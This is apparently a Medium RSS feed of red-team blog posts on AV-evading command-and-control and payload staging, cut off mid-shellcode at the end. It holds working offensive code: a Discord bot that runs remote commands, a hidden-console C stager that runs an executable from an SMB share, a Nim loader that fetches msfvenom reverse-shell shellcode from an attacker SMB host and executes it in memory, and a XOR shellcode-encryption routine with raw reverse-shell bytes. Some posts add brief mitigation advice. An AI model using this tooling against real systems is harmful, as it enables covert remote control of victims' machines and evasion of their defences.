Rubeus:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*EsHLc-KdijywyG4EZeYLPg.png" /></figure><p>Tadaa! There is the ticket. Now we can use it to compromise the domain with DCSync attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*3WZMz3_9OqJg_4v-.jpg" /></figure><p>We can verify that the DC ticket was imported into memory, by running:</p><pre>klist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*lxf4EiE-gQaK2wVJPvgxxg.png" /></figure><h3>Conclusion</h3><p>Again we are faced against the calculation between scalability and security. Of course it is easier to just setup things to be relevant to all services, but this can come with huge risk. Let’s discuss how to mitigate it!</p><p>First of all is disabling Print Spooler service, especially if you do not need it! Alternatively, you can block print spooler to accept network connections via GPO, which still patches the vulnerability. Indeed both of this techniques are doing well, my most honest recommendation is to be careful when setting up things. Try to encapsulate as much as you can, this way you make the attacker’s job harder by adding hours and hours into researching and trying more things.</p><p>Hope this was interesting and you learned something new, stay tuned for more!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5124f2f70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weaponizing Discord Shell via SMB]]></title>
            <link>https://medium.com/@lsecqt/weaponizing-discord-shell-via-smb-92375e730e26?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/92375e730e26</guid>
            <category><![CDATA[c2]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[av-evasion]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Sun, 04 Dec 2022 09:07:16 GMT</pubDate>
            <atom:updated>2022-12-04T09:07:16.154Z</atom:updated>
            <content:encoded><![CDATA[<p>In the previous blog / video (<a href="https://medium.com/@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd">https://medium.com/@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd</a> / <a href="https://youtu.be/LnXOtHhCx08">https://youtu.be/LnXOtHhCx08</a>) we discussed how to utilize Discord for executing remote commands. This time we will address the mentioned limitations.</p><blockquote>If you prefer watching a video instead of reading, feel welcomed to my channel: <a href="https://youtu.be/Bocf7xM7XWQ">https://youtu.be/Bocf7xM7XWQ</a></blockquote><p>Even though the results were nice (bypassing windows defender, bypassing firewall restrictions by sending / receiving commands on trusted and encrypted channel), we had to deal with enormously huge file size (40+ MB) as well as hiding the process and the GUI experience.</p><p>I had several ideas which I will go through now, at the end each idea has it own room for failure. I cannot say I developed a stable shell, but kinda got something to work. Let’s start!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*9tJhqT_xyWwXQoOhUOwTeQ.png" /></figure><h3>Idea 1 — Create a Discord bot with C#</h3><p>The problem with python and nuitka was the huge file size, that is because nuitka needed to compile and combine every single included library. The custom piece of code is small, the whole bot was not having more than 40 lines of code. Even though the bot was working perfectly, it is dangerous to drop 40+ MB executable on the target.</p><p>That got me thinking for alternative ways of creating the shell. My initial idea was to create the bot with .net framework. You may ask why not .net core? Well, .net framework is preinstalled on all Windows PCs, meaning if I compile a code into execuable, it will get executed without problems. If I were to build it on .net core, I pretty much have 2 options.</p><blockquote>1. Ship all my DLLs along with the executable.</blockquote><blockquote>2. Compile a standalone PE.</blockquote><p>When I went deep with the discord library for C# (<a href="https://discordnet.dev/guides/introduction/intro.html">https://discordnet.dev/guides/introduction/intro.html</a>) I realised that the only option for me is to build it with .net core, since .net framework turned out to be out of support. After a lot of attempts to make it work under .net framework, I was pissed off and decided to try different approach.</p><p>You may ask now, why not go with option 2? Well, I went with that and I faced pretty much the same problem. The .net core binary was even bigger than tha nuitka one.</p><p>Maybe there is a way to run it on .net framework, but more research and testing time is required, I will leave that for future! Moving on!</p><h3>Idea 2 — Good Old Nim</h3><p>After researching on what languages, I can build the bot upon, surprisingly, I stumbled across Nim and its library Dimscord (<a href="https://github.com/krisppurg/dimscord">https://github.com/krisppurg/dimscord</a>). I tried that with a little bit of scepticism but turned out the bot was working fine, and the file size was small. Perfect!</p><blockquote>As all the things that looks perfect, they are not!</blockquote><p>Nim had one general problem and that is the SSL support. When you compile and use the bot on same machine it works amazing. As soon as you transfer that to the victim box, you see that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*0BG4VSZyKjW5Uom9sifqfg.png" /></figure><p>Yep, you need to carry out your SSL DLLs all together with your executable. Not so perfect huh? Of course, a lot of researching was made on how that can be bypassed but my hopes died when I saw that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*mU_V07F7EY_OzCWDEXj6lg.png" /><figcaption><a href="https://github.com/nim-lang/Nim/issues/19099">https://github.com/nim-lang/Nim/issues/19099</a></figcaption></figure><p>Moving on!</p><h3>Idea 3 — Stage the original binary from Nuitka</h3><p>So far this was my best idea that kind of works. I think it is better to perform SMB request than to drop 40+ MB executable on the target.</p><p>The idea here is simple, host the binary with impacket-smbserver and create a simple C POC for staging it! Lets walk through the C code:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>int main()<br>{<br>  HWND myWindow = GetConsoleWindow();<br>  ShowWindow(myWindow, SW_HIDE);<br>  system(\\\\IP\\shareName\\dropper.exe&quot;);<br>}</pre><p>The first lines are of course imports, we need the windows.h library for hiding the console window. This is done with “ShowWindow(myWindow, SW_HIDE);”</p><p>The next part is simple, execute the file on the remote share.</p><p>After hosting it with:</p><pre>impacket-smbserver smb . -ts -debug -smb2support</pre><p>The stager turned out to be working pretty nice!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*9tJhqT_xyWwXQoOhUOwTeQ.png" /></figure><h3>Wrapping Up</h3><p>Of course, there is a lot of room to improve, but so far, the things are getting better and better. In future we can try to hide the stager itself, or completely change the approach again.</p><p>Hope that gives a nice foundation of how you can think outside of the box and find a hacky solution to a problem.</p><p>Feel welcomed to my Discord server (no C2 bots there don’t worry), where we share experience and knowledge: <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbElqaE4wcUZ5VElSXzJfZWJlSFNBTlBaSDhCUXxBQ3Jtc0tuS1dUeVRBVnk4UkJYV2taTGVHckMyQlFtcXJVdHZJMDZzTDhMTzM2V3l2SldqSThMMWNkS190RlR2Ukx0Y3JjUVRhZ3BXSlBjMEJLNlJ2LV9mOE5vZS02cmREQ2JnXzliTXdxREVhdHdPeDhmYmNWVQ&amp;q=https%3A%2F%2Fdiscord.gg%2FdWCe5ZMvtQ&amp;v=Bocf7xM7XWQ">https://discord.gg/dWCe5ZMvtQ</a></p><p>Also, I would appreciate your support by subscribing to my Youtube: <a href="https://www.youtube.com/c/Lsecqt">https://www.youtube.com/c/Lsecqt</a>, that means a lot for me!</p><p>Hope you enjoyed and learned something new!</p><p>If you want to support my work, you can do it with coffees and Bitcoin:</p><blockquote><a href="https://www.buymeacoffee.com/lsecqt">https://www.buymeacoffee.com/lsecqt</a></blockquote><blockquote>3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92375e730e26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Discord as Command and Control (C2) with Python and Nuitka]]></title>
            <link>https://medium.com/@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8fdced161fdd</guid>
            <category><![CDATA[c2]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Fri, 02 Dec 2022 11:38:49 GMT</pubDate>
            <atom:updated>2022-12-02T11:38:49.944Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello fellow red teamers, I was thinking of a way to obfuscate C2 traffic and got myself an idea. Why not chain the traffic over some verified channels, like Discord? But what if the target does not have Discord installed? I will address that later. I had some previous experience with developing Discord Bots myself, my discord server (for sharing pentesting / red teaming knowledge and experience) has a manually coded discord bot, based on python.</p><p>Feel welcomed to the server: <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqa09vNFZDdXhvVWgwek43azJSRHF0YlhoeFVoQXxBQ3Jtc0tsRExHemdIdU5PeGd4blk5VkZjYzY4LW1aVGVybTYtS2tsQ1FkeDNPbE1GTEg2eWxfeUZwTzN1dFN5RVRHQ3pmX1JyM3BTLTJLSEFoYWdXYTlzR0VGcTlpVDU0dzBxWGZKOXFmWkZKd0R0enM3Z1FlSQ&amp;q=https%3A%2F%2Fdiscord.gg%2FdWCe5ZMvtQ&amp;v=LnXOtHhCx08">https://discord.gg/dWCe5ZMvtQ</a></p><blockquote>Also, if you prefer watching a video instead of reading, you can find it here: <a href="https://youtu.be/LnXOtHhCx08">https://youtu.be/LnXOtHhCx08</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*AZquAN8_NpopJBhD5O4h5A.png" /></figure><h3>Theory</h3><p>No matter of the programming engine, all discord bots are working pretty much the same. They are using webhooks to perform actions you specify them with permissions. There are many libraries, that supports different programming language. Discord bots can be written in pretty much every language, when following the API documentation(<a href="https://discord.com/developers/docs/intro">https://discord.com/developers/docs/intro</a>).</p><p>Discord bots on python are using library called discord.py (<a href="https://discordpy.readthedocs.io/en/stable/">https://discordpy.readthedocs.io/en/stable/</a>)</p><p>It is simple straight forward to setup and use. The bot code itself is easy to understand and write. Now let’s get back to the main point, how to weaponize that?</p><p>The issue comes from there, when running the bot, your PC bypasses firewalls since it is talking directly to Discord servers. Meaning the traffic is encrypted and is on verified channel. This means that if we code the bot to reads and writes commands to specific channel, we can obtain encrypted code execution. The code on python is super simple, but there is a one major problem. How would we force the target to run a python code?</p><p>The best solution I came up so far is utilizing Nuitka(<a href="https://nuitka.net/">https://nuitka.net/</a>) for compiling the python code into a standalone PE (Portable Executable). This way we have a standard C2 dropper. (We will go over what is the major problem of Nuitka)</p><p>Now let’s break down the code parts. We need to perform the following tasks:</p><ol><li>Create Discord Bot</li><li>Join the bot to custom server</li><li>Code the bot to treat user messages as commands, and to return output.</li><li>Compile to PE</li></ol><h3>Action</h3><h4>How to create a Discord Bot?</h4><p>Navigate to <a href="https://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications">https://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications</a></p><p>Click New Application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AeBBi6i4Yo-Zki_htgwCUQ.png" /></figure><p>Give it a name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*ddBKqTUcgW1ISiebXvLBQg.png" /></figure><p>Then click on the Bot submenu:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*dDXlxlFwRzPvc8HstfsA1g.png" /></figure><p>Add Bot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N8A_y7-HyutZwOp2SXtbeA.png" /></figure><p>Make sure to enable all intents (especially the message one)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QsPOijgIQwo1Nahp9vm5_g.png" /></figure><p>One more thing left to do, go to your bot and reset the token, save the new one somewhere safe. This will be needed for step 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*vXOnOwNcj_V4e31iq4AoVQ.png" /></figure><h4>How to add the bot to my server?</h4><p>Now the bot is ready, to add it click on the URL Generator under Oauth2 Menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*EKYo17Dqxhp0uXz7u9sXCA.png" /></figure><p>Check Bot -&gt; Administrator -&gt; Copy and Paste the URL in browser. Then just simply choose the server the bot to be added on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgDkFoNPKuHuqN9iZSKOfw.png" /></figure><h4>How to code the bot?</h4><p>Now comes the fun part!</p><p>Let’s analyze the following piece of code:</p><pre>from discord.ext import commands<br>from discord.utils import get<br>from discord.ext.commands import Bot<br>import discord<br>from discord.utils import get<br>import subprocess<br>import time<br><br>DISCORD_TOKEN = &quot;Token from step 1&quot;<br><br>def Exec(cmd):<br>    output = subprocess.check_output(cmd, shell=False)<br>    return output<br><br><br>intents = discord.Intents.all()<br>intents.members = True<br>intents.reactions = True<br>intents.guilds = True<br>bot = Bot(&quot;!&quot;, intents=intents)<br><br><br><br>@bot.command()<br>async def IssueCmd(ctx, arg):<br>    await ctx.send(arg)<br><br>@bot.event<br>async def on_message(message):   <br>    if(message.author.id == 1046317520178663534):<br>        await message.channel.send(Exec(message.content).decode(&quot;utf-8&quot;))<br><br>if __name__ == &quot;__main__&quot;:<br><br>    bot.run(DISCORD_TOKEN)</pre><p>Let’s break it down to see how this works.</p><p>The first few lines are the library imports and the static token from step 1.</p><pre>from discord.ext import commands<br>from discord.utils import get<br>from discord.ext.commands import Bot<br>import discord<br>from discord.utils import get<br>import subprocess<br>import time<br><br>DISCORD_TOKEN = &quot;Token from step 1&quot;</pre><p>Next we have the method for executing system commands, and returns the funciton output.</p><pre>def Exec(cmd):<br>    output = subprocess.check_output(cmd, shell=False)<br>    return output</pre><p>Next we initialize the bot.</p><pre>intents = discord.Intents.all()<br>intents.members = True<br>intents.reactions = True<br>intents.guilds = True<br>bot = Bot(&quot;!&quot;, intents=intents)</pre><p>Next we specify it’s actions. This is how we want the bot to behave. What we are saying here, is whenever the bot receives a message from the user with id of “1046317520178663534”, it will start the command execution process. If you are wondering how to get your userid, it is enough to enable Discord developer options, right click and copy ID.</p><pre>@bot.command()<br>async def IssueCmd(ctx, arg):<br>    await ctx.send(arg)<br><br>@bot.event<br>async def on_message(message):   <br>    #obviously replace the userid with your own<br>    if(message.author.id == 1046317520178663534#obv):<br>        await message.channel.send(Exec(message.content).decode(&quot;utf-8&quot;))</pre><p>And finally, running the bot.</p><pre>if __name__ == &quot;__main__&quot;:<br><br>    bot.run(DISCORD_TOKEN)</pre><p>Let’s test it. By running the application with python, we can see the bot runs online, and we can successfully issue commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*AZquAN8_NpopJBhD5O4h5A.png" /></figure><p>Now the tough part.</p><h4>How to compile the code into PE?</h4><p>For the purpose, I stopped to Nuitka. It is fairly simple to use. We just have to be patient. It requires MinGW-64 compiler, but It will auto-download a suitable version the first time you run it.</p><p>To install nuitka, you can simply go with</p><pre>pip install nuitka</pre><p>To compile the binary, I used this command:</p><pre>python -m nuitka --mingw64 .\main.py --standalone --onefile</pre><p>After 860+ seconds, the binary was ready and was working fine!</p><h4>What about Windows Defender?</h4><p>Everything is clear for him.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PQ_dXu_8kh9BJcUCJ0tiRA.png" /></figure><h4>What about Antiscanme Vendors?</h4><p>The filesize was extremely large for me to upload it. If you guys have dedicated lab with a bunch of AV vendors, feel free to try it against them.</p><p>I will be waiting for your results on my twitter!</p><h4>What is the problem?</h4><p>Since it generated a single, standalone PE, Nuitka needed to combine all libraries and compile them all together. That’s why the process was slow, and the file was having 40+ MB of size. This is obviously a problem which we will address in future. Another problem is the annoying pop up during execution. Also, a lot of things can be performed, such as process injection, but I doubt we can achieve that having that huge filesize. We will leave that for the next one!</p><h3>Wrapping Up</h3><p>Always be as creative as you can. The more knowledge you have, the more opportunities for implementing creativity you will face. Even though the current version is far from usable, I think it gives a solid ground on what to build on. The C2 was working great, its only problem was the file size. After all, no thing is perfect.</p><p>Thank you for reading and hope you learned something new.</p><p>You can support my work by buying me a coffee: <a href="https://www.buymeacoffee.com/lsecqt">https://www.buymeacoffee.com/lsecqt</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8fdced161fdd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Developing SMB stager in Nim]]></title>
            <link>https://medium.com/@lsecqt/developing-smb-stager-in-nim-8832e5986a85?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8832e5986a85</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[av-evasion]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Thu, 24 Nov 2022 12:38:35 GMT</pubDate>
            <atom:updated>2022-11-24T12:38:35.321Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello fellow Red Teamers. I recently started getting in touch with Nim for offensive coding. To be honest I find it difficult and strange, but it WORKS!</p><p>Today we are developing simple SMB stager, bypassing Windows Defender at the time testing.</p><p>If you prefer watching a video instead of reading, the full video could be found here: <a href="https://youtu.be/qq-S2syksL0">https://youtu.be/qq-S2syksL0</a></p><p>Also, if you are interested in joining open Discord for sharing cybersec knowledge and experience, feel welcomed: <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqa2RIUzhQZ09BOVVqYzJWLVZPLUVwS0s4ODYxZ3xBQ3Jtc0trVG5FNmFvWUJ5V1kzYmNnMkpPTXJuVE9PVktHN2UzRXExRmV0T0ZRQ1M5MFRXME1PNmJrdjdTOXhnNVgzTkNNRHJxMDBxX0YxX09mUDNQQ05YcFpYTGlmNmlobHJYS0h3MUctaUJjeWhoenE5VjQ0TQ&amp;q=https%3A%2F%2Fdiscord.gg%2FdWCe5ZMvtQ&amp;v=qq-S2syksL0">https://discord.gg/dWCe5ZMvtQ</a></p><h3>Let’s GO</h3><p>The theory is fairly simple, the idea is to avoid writing the shellcode to the file, bypassing signature-based detection, while helping for heuristics as well. I initially tried downloading the shellcode with HTTP, but I stumbled across many issues, I was not able to resolve myself. Then the methodology slightly changed. Instead of downloading it from HTTP, the payload will be hosted on SMB share, and will be directly read from there.</p><p>I used msfvenom stageless payload</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin</pre><p>And hosted the file with:</p><pre>impacket-smbserver smb . -ts -debug -smb2support</pre><p>The code POC is the following:</p><pre>import winim/lean<br><br>var filename = &quot;\\\\192.168.153.128\\smb\\code.bin&quot;<br><br>var file: File = open(filename, fmRead)<br><br>var fileSize = file.getFileSize() <br>var shellcode = newSeq[byte](fileSize)<br>discard file.readBytes(shellcode, 0, fileSize)<br>file.close<br><br>echo shellcode<br><br>echo fileSize<br><br>echo sizeof(shellcode)<br><br>type<br>    buf* = LPVOID<br><br><br><br>var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)<br>copyMem(rez, shellcode[0].addr, fileSize)<br>let f = cast[proc(){.nimcall.}](rez)<br>f()</pre><p>Let’s analyze the code line by line.</p><p>First things first, we must import Windows kernel library, allowing us to invoke Windows APIs:</p><pre>import winim/lean</pre><p>Then we can simple read a file from a SMB share:</p><pre>var filename = &quot;\\\\192.168.153.128\\smb\\code.bin&quot;<br><br>var file: File = open(filename, fmRead)<br><br>var fileSize = file.getFileSize() <br>var shellcode = newSeq[byte](fileSize)<br>discard file.readBytes(shellcode, 0, fileSize)<br>file.close</pre><p>Then what is left is to simply execute the shellcode by invoking Windows APIs:</p><pre>type<br>    buf* = LPVOID<br><br>var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)<br>copyMem(rez, shellcode[0].addr, fileSize)<br>let f = cast[proc(){.nimcall.}](rez)<br>f()</pre><p>I know that looks super simple, and in fact is, but the main point is that it is working!</p><h3>Testing Time!</h3><p>I performed 2 tests. First one is against Windows 10 Client with Defender UP and RUNNING. The second is against antiscan.me interface.</p><h4>Nim Stager vs Windows Defender</h4><p>Test 1 starts by dropping the stager to the filesystem. Nothing is getting triggered so far, meaning we successfully bypassed signature based detection. Now let’s run and observe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g91Dx5kMbgNnsrjZPF0WtA.png" /></figure><p>The stager turned out to work just fine, and the strange thing here is that Defender was managed to get triggered, but this did not kill the shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*Q3HlMVli7MsTozJ6XejAdw.png" /></figure><p>I had this shell running for a bunch of minutes and it was fully functional. I personally do not have a clue why the defender did not kill it, if you know the answer I would appreaciate sharing.</p><h4>Nim Stager vs Antiscanme</h4><p>Don’t get me wrong, antiscanme is great but when testing stagers, they do not really have a way of presenting valid results. The results you see are based solidely on signature based detection, since they have no network possiblity of downloading the actual shellcode. I expect more AV vendors to catch that on real testing, but it is a nice “first step” to do.</p><p>After uploading the stager only 4/26 vendors was able to catch it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*OT-fpc2_o-a2-u7nF7Kzvw.png" /></figure><p>I believe that trigger is based on the vendors reading the Windows APIs calls, thus counting that as a malicious. Of course, in order to test what exactly went wrong I would need to perform many, many tests. That is my theory for the moment.</p><h3>Conclusion</h3><p>Playing with Nim is fun and the results we achieved by simply staging things are amazing. Of course, there are way more advanced AV bypassing techniques we can perform, but we will be doing that in the future. Hope you find that content useful and learned something new.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8832e5986a85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Encrypting Shellcode with XOR | Offensive coding in C]]></title>
            <link>https://medium.com/@lsecqt/encrypting-shellcode-with-xor-offensive-coding-in-c-5a42cb978d6e?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a42cb978d6e</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[av-bypass]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[av-evasion]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Tue, 01 Nov 2022 12:26:16 GMT</pubDate>
            <atom:updated>2022-11-01T12:26:16.227Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello fellow red teamers. One of the techniques for AV evasion is encryption. While there are many, many encrypting algorightms, XOR is really handy and easy to implement. Let’s do it on C.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/0*XOgKwsLSBhaDVjU3" /></figure><blockquote>If you prefer watching a video instead of reading, you can find it on my YouTube: <a href="https://youtu.be/ZHnvcFaJvh4">https://youtu.be/ZHnvcFaJvh4</a></blockquote><blockquote>You can also join my discord server for sharing knowledge and experience: <a href="https://discord.gg/dWCe5ZMvtQ">https://discord.gg/dWCe5ZMvtQ</a></blockquote><h3>Theory</h3><h4>Why do we need encryption?</h4><p>AV vendors mainly have 2 types of detection techniques.</p><ol><li>Signature based</li><li>Heuristic based</li></ol><p>First one is being initialized as soon as the file drops to the disk. Its idea is to seek for malicious content or matching hash (considered as malicious from a global database)</p><p>Second one is more interesting, since it attempts to run the application in sandboxed environment, trying to understand what it is trying to do.</p><p>Encryption techniques are focused on bypassing signature-based detection, but they also help with heuristics. The idea is fairly simple, instead of storing a real, malicious shellcode (machine instructions in hex) in a variable, we can store it encrypted, so the string would be unlike to any signature.</p><p>Of course, when encrypted, the shellcode could not be executed, the point is to decrypt it on runtime.</p><p>Yeah, that is fine, but will the heuristics run the application and catch the decrypted shellcode on runtime?</p><p>Well, yes, but sometimes it can help evade even heuristic based detection. Let me say it like that, do not look at AV evasion as having a magic bullet that pierces through all vendors, it is rather a set of techniques, each one lowering the detection rate.</p><h4>What is XOR?</h4><p>There are many encryption methods, and pretty much everyone can implement their own. Why XOR? Well it is:</p><ol><li>Easy to understand</li><li>Easy to implement</li><li>Works!</li></ol><p>The history of xor encryption comes from xor gates, and can be found here:</p><p><a href="https://en.wikipedia.org/wiki/XOR_gate">XOR gate — Wikipedia</a></p><p>And the raw theory behind xor cipher can be found here:</p><p><a href="https://en.wikipedia.org/wiki/XOR_cipher">XOR cipher — Wikipedia</a></p><p>In a nutshell, it is a bitwise operation that encrypts each bit, one at a time, with a given custom key. Let me demonstrate that with code.</p><p>Its C implementation is simple:</p><pre>#include &lt;stdio.h&gt;</pre><pre>unsigned char code[] = &quot;Test&quot;;</pre><pre>int main()<br>{<br> char key = &#39;K&#39;;<br> int i = 0;<br> for (i; i&lt;sizeof(code); i++)<br> {<br>  printf(&quot;\\x%02x&quot;,code[i]^key);<br> }<br> <br>}</pre><p>Output:</p><pre>\x1f\x2e\x38\x3f\x4b</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNiA3DVJZ8wENoaIF48B6Q.png" /></figure><p>This is designed to only print the encrypted shellcode. If needed we can write it into file or send it over the network, but for simplicity we will use copy/paste.</p><p>Now, let’s create the decryptor. The algorithm is the same, the only differences we need to implement, is to replace the string with the ecnrypted shellcode from the previous code, lower the size of the char array in the for loop and overwrite the character array instead of printing stuff out. Let me make it more clear:</p><pre>#include &lt;stdio.h&gt;</pre><pre>unsigned char code[] = &quot;\x1f\x2e\x38\x3f\x4b&quot;;</pre><pre>int main()<br>{<br> char key = &#39;K&#39;;<br> int i = 0;<br> for (i; i&lt;sizeof(code) - 1; i++)<br> {<br>  code[i] = code[i]^key;<br> }<br> printf(&quot;%s&quot;, code);<br> <br>}</pre><p>The print statement is not nessecery but I just wanted to showcase how the xor is working. By printing the variable “code” we get:</p><pre>Test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uIEp1LmrZHnhSiIuxHwosA.png" /></figure><p>Confirming the process is working just fine.</p><p>NOTE</p><blockquote>It is needed to use single quotes (‘) instead of double (“) for the key variable. When implementing it with double quotes it will break the algorithm. I think that is the way of C to interpret string vs char variable type.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*qtShPicdCQuL9LpFySIn9g.png" /></figure><h3>Weaponization</h3><p>It is all good when we are playing with simple strings, but what about real, weaponized code?</p><p>Let’s first generate the malicious payload:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c</pre><p>Then append the output to encryptor.c</p><pre>#include &lt;stdio.h&gt;</pre><pre>unsigned char code[] = <br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52&quot;<br>&quot;\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48&quot;<br>&quot;\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;<br>&quot;\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48&quot;<br>&quot;\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b&quot;<br>&quot;\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48&quot;<br>&quot;\x18\x44\x8b\x40\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48&quot;<br>&quot;\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9&quot;<br>&quot;\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45&quot;<br>&quot;\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b&quot;<br>&quot;\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48&quot;<br>&quot;\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9&quot;<br>&quot;\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00&quot;<br>&quot;\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5&quot;<br>&quot;\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54\x49\x89\xe4&quot;<br>&quot;\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68&quot;<br>&quot;\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a&quot;<br>&quot;\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89&quot;<br>&quot;\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5&quot;<br>&quot;\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba&quot;<br>&quot;\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5&quot;<br>&quot;\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9&quot;<br>&quot;\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5&quot;<br>&quot;\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41&quot;<br>&quot;\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41&quot;<br>&quot;\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31&quot;<br>&quot;\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8&quot;<br>&quot;\x5f\x